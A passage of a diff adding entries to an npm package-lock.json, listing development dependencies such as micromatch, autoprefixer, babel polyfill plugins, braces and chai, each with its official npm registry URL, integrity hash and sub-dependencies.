+ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
+ "dev": true,
+ "requires": {
+ "micromatch": "^3.1.4",
+ "normalize-path": "^2.1.1"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ },
+ "micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "requires": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ }
+ },
+ "normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+ "dev": true,
+ "requires": {
+ "remove-trailing-separator": "^1.0.1"
+ }
+ }
+ }
+ },
+ "append-buffer": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/append-buffer/-/append-buffer-1.0.2.tgz",
+ "integrity": "sha512-WLbYiXzD3y/ATLZFufV/rZvWdZOs+Z/+5v1rBZ463Jn398pa6kcde27cvozYnBoxXblGZTFfoPpsaEw0orU5BA==",
+ "dev": true,
+ "requires": {
+ "buffer-equal": "^1.0.0"
+ }
+ },
+ "append-transform": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/append-transform/-/append-transform-2.0.0.tgz",
+ "integrity": "sha512-7yeyCEurROLQJFv5Xj4lEGTy0borxepjFv1g22oAdqFu//SrAlDl1O1Nxx15SH1RoliUml6p8dwJW9jvZughhg==",
+ "dev": true,
+ "requires": {
+ "default-require-extensions": "^3.0.0"
+ }
+ },
+ "archy": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz",
+ "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==",
+ "dev": true
+ },
+ "arg": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+ "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
+ "dev": true
+ },
+ "argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+ "dev": true
+ },
+ "arr-diff": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+ "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==",
+ "dev": true
+ },
+ "arr-filter": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/arr-filter/-/arr-filter-1.1.2.tgz",
+ "integrity": "sha512-A2BETWCqhsecSvCkWAeVBFLH6sXEUGASuzkpjL3GR1SlL/PWL6M3J8EAAld2Uubmh39tvkJTqC9LeLHCUKmFXA==",
+ "dev": true,
+ "requires": {
+ "make-iterator": "^1.0.0"
+ }
+ },
+ "arr-flatten": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
+ "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==",
+ "dev": true
+ },
+ "arr-map": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/arr-map/-/arr-map-2.0.2.tgz",
+ "integrity": "sha512-tVqVTHt+Q5Xb09qRkbu+DidW1yYzz5izWS2Xm2yFm7qJnmUfz4HPzNxbHkdRJbz2lrqI7S+z17xNYdFcBBO8Hw==",
+ "dev": true,
+ "requires": {
+ "make-iterator": "^1.0.0"
+ }
+ },
+ "arr-union": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
+ "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==",
+ "dev": true
+ },
+ "array-each": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz",
+ "integrity": "sha512-zHjL5SZa68hkKHBFBK6DJCTtr9sfTCPCaph/L7tMSLcTFgy+zX7E+6q5UArbtOtMBCtxdICpfTCspRse+ywyXA==",
+ "dev": true
+ },
+ "array-from": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/array-from/-/array-from-2.1.1.tgz",
+ "integrity": "sha512-GQTc6Uupx1FCavi5mPzBvVT7nEOeWMmUA9P95wpfpW1XwMSKs+KaymD5C2Up7KAUKg/mYwbsUYzdZWcoajlNZg==",
+ "dev": true
+ },
+ "array-initial": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/array-initial/-/array-initial-1.1.0.tgz",
+ "integrity": "sha512-BC4Yl89vneCYfpLrs5JU2aAu9/a+xWbeKhvISg9PT7eWFB9UlRvI+rKEtk6mgxWr3dSkk9gQ8hCrdqt06NXPdw==",
+ "dev": true,
+ "requires": {
+ "array-slice": "^1.0.0",
+ "is-number": "^4.0.0"
+ },
+ "dependencies": {
+ "is-number": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz",
+ "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==",
+ "dev": true
+ }
+ }
+ },
+ "array-last": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/array-last/-/array-last-1.3.0.tgz",
+ "integrity": "sha512-eOCut5rXlI6aCOS7Z7kCplKRKyiFQ6dHFBem4PwlwKeNFk2/XxTrhRh5T9PyaEWGy/NHTZWbY+nsZlNFJu9rYg==",
+ "dev": true,
+ "requires": {
+ "is-number": "^4.0.0"
+ },
+ "dependencies": {
+ "is-number": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz",
+ "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==",
+ "dev": true
+ }
+ }
+ },
+ "array-slice": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz",
+ "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==",
+ "dev": true
+ },
+ "array-sort": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/array-sort/-/array-sort-1.0.0.tgz",
+ "integrity": "sha512-ihLeJkonmdiAsD7vpgN3CRcx2J2S0TiYW+IS/5zHBI7mKUq3ySvBdzzBfD236ubDBQFiiyG3SWCPc+msQ9KoYg==",
+ "dev": true,
+ "requires": {
+ "default-compare": "^1.0.0",
+ "get-value": "^2.0.6",
+ "kind-of": "^5.0.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true
+ }
+ }
+ },
+ "array-union": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+ "dev": true
+ },
+ "array-unique": {
+ "version": "0.3.2",
+ "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+ "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==",
+ "dev": true
+ },
+ "assertion-error": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz",
+ "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==",
+ "dev": true
+ },
+ "assign-symbols": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
+ "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==",
+ "dev": true
+ },
+ "async-done": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/async-done/-/async-done-1.3.2.tgz",
+ "integrity": "sha512-uYkTP8dw2og1tu1nmza1n1CMW0qb8gWWlwqMmLb7MhBVs4BXrFziT6HXUd+/RlRA/i4H9AkofYloUbs1fwMqlw==",
+ "dev": true,
+ "requires": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.2",
+ "process-nextick-args": "^2.0.0",
+ "stream-exhaust": "^1.0.1"
+ }
+ },
+ "async-each": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.6.tgz",
+ "integrity": "sha512-c646jH1avxr+aVpndVMeAfYw7wAa6idufrlN3LPA4PmKS0QEGp6PIC9nwz0WQkkvBGAMEki3pFdtxaF39J9vvg==",
+ "dev": true
+ },
+ "async-settle": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/async-settle/-/async-settle-1.0.0.tgz",
+ "integrity": "sha512-VPXfB4Vk49z1LHHodrEQ6Xf7W4gg1w0dAPROHngx7qgDjqmIQ+fXmwgGXTW/ITLai0YLSvWepJOP9EVpMnEAcw==",
+ "dev": true,
+ "requires": {
+ "async-done": "^1.2.2"
+ }
+ },
+ "asynckit": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+ "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
+ "dev": true
+ },
+ "atob": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+ "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
+ "dev": true
+ },
+ "autoprefixer": {
+ "version": "10.4.14",
+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.14.tgz",
+ "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==",
+ "dev": true,
+ "requires": {
+ "browserslist": "^4.21.5",
+ "caniuse-lite": "^1.0.30001464",
+ "fraction.js": "^4.2.0",
+ "normalize-range": "^0.1.2",
+ "picocolors": "^1.0.0",
+ "postcss-value-parser": "^4.2.0"
+ }
+ },
+ "babel-plugin-polyfill-corejs2": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.3.tgz",
+ "integrity": "sha512-NDZ0auNRzmAfE1oDDPW2JhzIMXUk+FFe2ICejmt5T4ocKgiQx3e0VCRx9NCAidcMtL2RUZaWtXnmjTCkx0tcbA==",
+ "dev": true,
+ "requires": {
+ "@babel/compat-data": "^7.13.11",
+ "@babel/helper-define-polyfill-provider": "^0.2.4",
+ "semver": "^6.1.1"
+ }
+ },
+ "babel-plugin-polyfill-corejs3": {
+ "version": "0.2.5",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz",
+ "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-define-polyfill-provider": "^0.2.2",
+ "core-js-compat": "^3.16.2"
+ }
+ },
+ "babel-plugin-polyfill-regenerator": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.3.tgz",
+ "integrity": "sha512-JVE78oRZPKFIeUqFGrSORNzQnrDwZR16oiWeGM8ZyjBn2XAT5OjP+wXx5ESuo33nUsFUEJYjtklnsKbxW5L+7g==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-define-polyfill-provider": "^0.2.4"
+ }
+ },
+ "bach": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/bach/-/bach-1.2.0.tgz",
+ "integrity": "sha512-bZOOfCb3gXBXbTFXq3OZtGR88LwGeJvzu6szttaIzymOTS4ZttBNOWSv7aLZja2EMycKtRYV0Oa8SNKH/zkxvg==",
+ "dev": true,
+ "requires": {
+ "arr-filter": "^1.1.1",
+ "arr-flatten": "^1.0.1",
+ "arr-map": "^2.0.0",
+ "array-each": "^1.0.0",
+ "array-initial": "^1.0.0",
+ "array-last": "^1.1.1",
+ "async-done": "^1.2.2",
+ "async-settle": "^1.0.0",
+ "now-and-later": "^2.0.0"
+ }
+ },
+ "balanced-match": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+ "dev": true
+ },
+ "base": {
+ "version": "0.11.2",
+ "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
+ "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
+ "dev": true,
+ "requires": {
+ "cache-base": "^1.0.1",
+ "class-utils": "^0.3.5",
+ "component-emitter": "^1.2.1",
+ "define-property": "^1.0.0",
+ "isobject": "^3.0.1",
+ "mixin-deep": "^1.2.0",
+ "pascalcase": "^0.1.1"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.0"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ }
+ }
+ },
+ "binary-extensions": {
+ "version": "1.13.1",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
+ "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==",
+ "dev": true
+ },
+ "bindings": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
+ "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "file-uri-to-path": "1.0.0"
+ }
+ },
+ "bluebird": {
+ "version": "3.7.2",
+ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+ "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==",
+ "dev": true
+ },
+ "brace-expansion": {
+ "version": "1.1.11",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+ "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+ "dev": true,
+ "requires": {
+ "balanced-match": "^1.0.0",
+ "concat-map": "0.0.1"
+ }
+ },
+ "braces": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+ "dev": true,
+ "requires": {
+ "arr-flatten": "^1.1.0",
+ "array-unique": "^0.3.2",
+ "extend-shallow": "^2.0.1",
+ "fill-range": "^4.0.0",
+ "isobject": "^3.0.1",
+ "repeat-element": "^1.1.2",
+ "snapdragon": "^0.8.1",
+ "snapdragon-node": "^2.0.1",
+ "split-string": "^3.0.2",
+ "to-regex": "^3.0.1"
+ }
+ },
+ "browser-process-hrtime": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
+ "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==",
+ "dev": true
+ },
+ "browser-stdout": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz",
+ "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==",
+ "dev": true
+ },
+ "browserslist": {
+ "version": "4.21.9",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.9.tgz",
+ "integrity": "sha512-M0MFoZzbUrRU4KNfCrDLnvyE7gub+peetoTid3TBIqtunaDJyXlwhakT+/VkvSXcfIzFfK/nkCs4nmyTmxdNSg==",
+ "dev": true,
+ "requires": {
+ "caniuse-lite": "^1.0.30001503",
+ "electron-to-chromium": "^1.4.431",
+ "node-releases": "^2.0.12",
+ "update-browserslist-db": "^1.0.11"
+ }
+ },
+ "buffer-crc32": {
+ "version": "0.2.13",
+ "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
+ "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==",
+ "dev": true
+ },
+ "buffer-equal": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.1.tgz",
+ "integrity": "sha512-QoV3ptgEaQpvVwbXdSO39iqPQTCxSF7A5U99AxbHYqUdCizL/lH2Z0A2y6nbZucxMEOtNyZfG2s6gsVugGpKkg==",
+ "dev": true
+ },
+ "buffer-from": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+ "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
+ "dev": true
+ },
+ "cache-base": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
+ "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
+ "dev": true,
+ "requires": {
+ "collection-visit": "^1.0.0",
+ "component-emitter": "^1.2.1",
+ "get-value": "^2.0.6",
+ "has-value": "^1.0.0",
+ "isobject": "^3.0.1",
+ "set-value": "^2.0.0",
+ "to-object-path": "^0.3.0",
+ "union-value": "^1.0.0",
+ "unset-value": "^1.0.0"
+ }
+ },
+ "caching-transform": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/caching-transform/-/caching-transform-4.0.0.tgz",
+ "integrity": "sha512-kpqOvwXnjjN44D89K5ccQC+RUrsy7jB/XLlRrx0D7/2HNcTPqzsb6XgYoErwko6QsV184CA2YgS1fxDiiDZMWA==",
+ "dev": true,
+ "requires": {
+ "hasha": "^5.0.0",
+ "make-dir": "^3.0.0",
+ "package-hash": "^4.0.0",
+ "write-file-atomic": "^3.0.0"
+ },
+ "dependencies": {
+ "make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+ "semver": "^6.0.0"
+ }
+ }
+ }
+ },
+ "call-bind": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
+ "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
+ "dev": true,
+ "requires": {
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.0.2"
+ }
+ },
+ "callsites": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+ "dev": true
+ },
+ "camel-case": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz",
+ "integrity": "sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==",
+ "dev": true,
+ "requires": {
+ "no-case": "^2.2.0",
+ "upper-case": "^1.1.1"
+ }
+ },
+ "camelcase": {
+ "version": "5.3.1",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+ "dev": true
+ },
+ "camelcase-css": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+ "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+ "dev": true
+ },
+ "caniuse-lite": {
+ "version": "1.0.30001517",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001517.tgz",
+ "integrity": "sha512-Vdhm5S11DaFVLlyiKu4hiUTkpZu+y1KA/rZZqVQfOD5YdDT/eQKlkt7NaE0WGOFgX32diqt9MiP9CAiFeRklaA==",
+ "dev": true
+ },
+ "catharsis": {
+ "version": "0.9.0",
+ "resolved": "https://registry.npmjs.org/catharsis/-/catharsis-0.9.0.tgz",
+ "integrity": "sha512-prMTQVpcns/tzFgFVkVp6ak6RykZyWb3gu8ckUpd6YkTlacOd3DXGJjIpD4Q6zJirizvaiAjSSHlOsA+6sNh2A==",
+ "dev": true,
+ "requires": {
+ "lodash": "^4.17.15"
+ }
+ },
+ "chai": {
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.4.tgz",
+ "integrity": "sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA==",
+ "dev": true,
+ "requires": {
